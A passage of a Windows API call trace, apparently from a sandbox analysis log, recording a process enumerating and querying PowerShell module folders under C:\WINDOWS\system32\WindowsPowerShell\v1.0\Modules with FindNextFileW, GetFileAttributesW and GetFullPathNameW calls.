cAlternateFileName="MICROS~1.DIA")) returned 1 [0242.181] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a67e99, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Host", cAlternateFileName="MICROS~1.HOS")) returned 1 [0242.182] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1a686f1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2072c9cd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management", cAlternateFileName="MICROS~1.MAN")) returned 1 [0242.182] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1ac9e27, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils", cAlternateFileName="MICROS~1.ODA")) returned 1 [0242.182] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acae81, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security", cAlternateFileName="MICROS~1.SEC")) returned 1 [0242.183] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acb52e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility", cAlternateFileName="MICROS~1.UTI")) returned 1 [0242.183] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acc005, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management", cAlternateFileName="MICROS~2.MAN")) returned 1 [0242.183] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acdc29, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsDtc", cAlternateFileName="")) returned 1 [0242.183] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20c0ce20, ftCreationTime.dwHighDateTime=0x1d32773, ftLastAccessTime.dwLowDateTime=0x243555cf, ftLastAccessTime.dwHighDateTime=0x1d32773, ftLastWriteTime.dwLowDateTime=0x243555cf, ftLastWriteTime.dwHighDateTime=0x1d32773, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMQ", cAlternateFileName="")) returned 1 [0242.183] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acff90, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2079f100, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetAdapter", cAlternateFileName="NETADA~1")) returned 1 [0242.184] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1bb671a, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2079f100, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetConnection", cAlternateFileName="NETCON~1")) returned 1 [0242.184] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1bb70fa, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207c536a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetEventPacketCapture", cAlternateFileName="NETEVE~1")) returned 1 [0242.184] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c2fdb4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207c536a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetLbfo", cAlternateFileName="")) returned 1 [0242.184] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7d5c2, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetNat", cAlternateFileName="")) returned 1 [0242.184] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1c7e767, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x207eb5c8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetQos", cAlternateFileName="")) returned 1 [0242.184] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1d3e2ea, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSecurity", cAlternateFileName="NETSEC~1")) returned 1 [0242.185] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dbbc19, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2081182e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetSwitchTeam", cAlternateFileName="NETSWI~1")) returned 1 [0242.186] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1dbc877, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20837aa0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetTCPIP", cAlternateFileName="")) returned 1 [0242.186] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e300dc, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20837aa0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkConnectivityStatus", cAlternateFileName="NETWOR~1")) returned 1 [0242.186] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e30eea, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NetworkTransition", cAlternateFileName="NETWOR~2")) returned 1 [0242.186] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e319e4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PKI", cAlternateFileName="")) returned 1 [0242.187] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e92e4b, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2085dd02, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PnpDevice", cAlternateFileName="PNPDEV~1")) returned 1 [0242.187] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e93bbd, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x208aa1cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrintManagement", cAlternateFileName="PRINTM~1")) returned 1 [0242.187] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1e950c4, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDesiredStateConfiguration", cAlternateFileName="PSDESI~1")) returned 1 [0242.188] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1f64ff6, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSDiagnostics", cAlternateFileName="PSDIAG~1")) returned 1 [0242.188] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1f65404, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSScheduledJob", cAlternateFileName="PSSCHE~1")) returned 1 [0242.188] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb8b03, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2091c8fd, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScheduledTasks", cAlternateFileName="SCHEDU~1")) returned 1 [0242.188] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb91fe, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecureBoot", cAlternateFileName="SECURE~1")) returned 1 [0242.188] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fb9d09, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20968dca, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Storage", cAlternateFileName="")) returned 1 [0242.188] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fba32e, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20968dca, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TLS", cAlternateFileName="")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbaba9, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TroubleshootingPack", cAlternateFileName="TROUBL~1")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbbc28, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrustedPlatformModule", cAlternateFileName="TRUSTE~1")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e5be8c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1fbcd58, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe966970b, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UEV", cAlternateFileName="")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1fbd4ae, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d04b97d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VpnClient", cAlternateFileName="VPNCLI~1")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205dc90, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wdac", cAlternateFileName="")) returned 1 [0242.189] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205e730, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsDeveloperLicense", cAlternateFileName="WINDOW~1")) returned 1 [0242.190] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205efde, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsErrorReporting", cAlternateFileName="WINDOW~2")) returned 1 [0242.190] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x185d2759, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x205f3c7, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x2098f030, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsUpdate", cAlternateFileName="WINDOW~3")) returned 1 [0242.190] FindNextFileW (in: hFindFile=0x7885418, lpFindFileData=0x87be5d8 | out: lpFindFileData=0x87be5d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.190] FindClose (in: hFindFile=0x7885418 | out: hFindFile=0x7885418) returned 1 [0242.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be860) returned 1 [0242.190] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be86c) returned 1 [0242.191] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psd1")) returned 0xffffffff [0242.191] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.psm1")) returned 0xffffffff [0242.191] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.cdxml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.cdxml")) returned 0xffffffff [0242.191] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.xaml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.xaml")) returned 0xffffffff [0242.191] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0242.191] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0242.191] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0242.191] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", nBufferLength=0x3d, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker", lpFilePart=0x0) returned 0x3c [0242.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.192] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e35c2e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1902eb1, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0xe9611c78, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.192] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.192] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0242.192] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", nBufferLength=0x3e, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient", lpFilePart=0x0) returned 0x3d [0242.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.192] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppvClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\appvclient"), fInfoLevelId=0x0, lpFileInformation=0x87be8b0 | out: lpFileInformation=0x87be8b0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6e35c2e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x197a24f, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x76586f17, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0242.300] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x87be830) returned 1 [0242.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0242.300] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", nBufferLength=0x38, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Appx", lpFilePart=0x0) returned 0x37 [0242.300] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x87be834) returned 1 [0242.300] GetFileAttributesExW (in: 